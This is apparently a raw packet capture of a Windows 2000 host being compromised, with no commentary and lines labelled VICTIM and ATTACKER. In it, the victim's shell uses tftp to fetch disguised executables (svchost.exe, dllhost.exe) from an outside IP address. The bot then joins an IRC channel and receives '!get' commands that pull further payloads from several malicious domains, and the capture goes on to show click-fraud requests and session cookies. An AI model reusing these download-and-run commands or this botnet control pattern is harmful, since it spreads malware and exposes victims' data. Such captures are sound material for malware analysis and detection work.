VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> VICTIM: tftp -i 110.12.207.146 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: Transfer successful: 29456 bytes in 10 seconds, 2945 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: tftp -i 110.12.207.146 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: Transfer successful: 19968 bytes in 7 seconds, 2852 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK qnqaacxfUSER t020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG qnqaacxf :!get http:/av.lometr.pl/inst.php?id=32&sid=0:u. PRIVMSG qnqaacxf :!get http:/down0129.iwillhavesexygirls.com:88/erdown.txt:u. PRIVMSG qnqaacxf :!get http:/pozeml.com/oc/box.txt VICTIM: GET /inst.php?id=32&sid=0 HTTP/1.0User-Agent: DownloadHost: av.lometr.plPragma: no-cache ATTACKER: GET /erdown.txt HTTP/1.0User-Agent: DownloadHost: down0129.iwillhavesexygirls.com:88Pragma: no-cache ATTACKER: GET /erku.txt?t=0.6612011 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: file0129.iwillhavesexygirls.com:88 VICTIM: \000\000x\343 VICTIM: \000\000O\225\000\000\000\004echo ATTACKER: GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: pozeml.comPragma: no-cache ATTACKER: GET /op/lgate.php?n=6D05DF620DE704D8 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pozeml.comConnection: Keep-Alive ATTACKER: GET /sv/pm.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pozemle.cnConnection: Keep-Alive ATTACKER: GET /winrar.exe?t=0.5138667 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mjjia.cn ATTACKER: GET /w.txt?t=0.5894679 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: file0129.iwillhavesexygirls.com:88 ATTACKER: GET /banner.exe?t=0.774838 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: img.ub8.net VICTIM: \000\000x\343 VICTIM: \000\000O\225\000\000\000\004echo VICTIM: \000\000x\343 VICTIM: \000\000O\225\000\000\000\004echo VICTIM: \000\000x\343 VICTIM: \000\000'\263\000\000\000\0262.0_pw1022_4025385.exe VICTIM: \000\000x\343 ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=kk_01 HTTP/1.1Host: in.7cy.netUser-Agent: ClickAdsByIE 0.7.3Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/in.7cy.net/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=kk_01 HTTP/1.1Host: in1.7cy.netUser-Agent: ClickAdsByIE 0.7.3Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/in1.7cy.net/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close VICTIM: \000\000x\207\000\000\000\006pw1022 ATTACKER: GET / HTTP/1.0Accept: */*Accept-Language: en-usReferer: http:/www.google.com/#hl=en&source=hp&q=taylor momsen&btnG=Google+Search&meta=&aq=f&oq=\$\$\$02&fp=453f837c80fa8500User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: taylorclassic.comConnection: Keep-Alive ATTACKER: GET /taylorclassic.com.js HTTP/1.0Accept: */*Referer: http:/taylorclassic.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: taylorclassic.comConnection: Keep-AliveCookie: SessionID=150d51ae-7625-4850-8836-60acb37f5448; VisitorID=abfa6d07-fced-468d-ada3-ac3dc581529f&Exp=2/4/2013 7:21:56 PM; yahooToken=qs=06oENya4ZG1YS6vOLJwpLiFdjG98_EiOQoDjJxvaUVHfT_y8gQ6c5K9rUd2p4saXQMPLrXk1-mh7yaLCEd5RwV4B4PWboGe8Tmgp0R_slpfJmXMmfRk6JbUFtwGQEkUvG9A05RCfCsu-3wcNclFsY-3KPS1ITARAEu0-NhZcquCBuGaFE6WlHrm_ec-pHWNFuv,YT0z ATTACKER: GET /css/dbstore.css?def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%231b5709%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%23c44242%7cBdyStyl%3aSecondaryColorComplement%3d%23edc6c6%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%23476ec7%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23476ec7%7cRelLink%3aHoverFontColor%3d%23c03625%7cRelLink%3aBackgroundColor%3d%23fafad9%7cRelLink%3aDividerColor%3d%23e2dfb8%7cRelLink%3aHoverBackgroundColor%3d%23fbfbf5%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0006.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3d%23008000%7cResult%3aSidebarBorderCol VICTIM: or%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0006.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8%7cSrchBox%3aTextboxWidth%3d0&cssid=116 HTTP/1.0Accept: */*Referer: http:/taylorclassic.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: taylorclassic.comConnection: Keep-AliveCookie: SessionID=150d51ae-7625-4850-8836-60acb37f5448; VisitorID=abfa6d07-fced-468d-ada3-ac3dc581529f&Exp=2/4/2013 7:21:56 PM; yahooToken=qs=06oENya4ZG1YS6vOLJwpLiFdjG98_EiOQoDjJxvaUVHfT_y8gQ6c5K9rUd2p4saXQMPLrXk1-mh7yaLCEd5RwV4B4PWboGe8Tmgp0R_slpfJmXMmfRk6JbUFtwGQEkUvG9A05RCfCsu-3wcNclFsY-3KPS1ITARAEu0-NhZcquCBuGaFE6WlHrm_ec-pHWNFuv,YT0z ATTACKER: PONG :i. VICTIM: JOIN &virtu ATTACKER: PONG :i. VICTIM: JOIN &virtu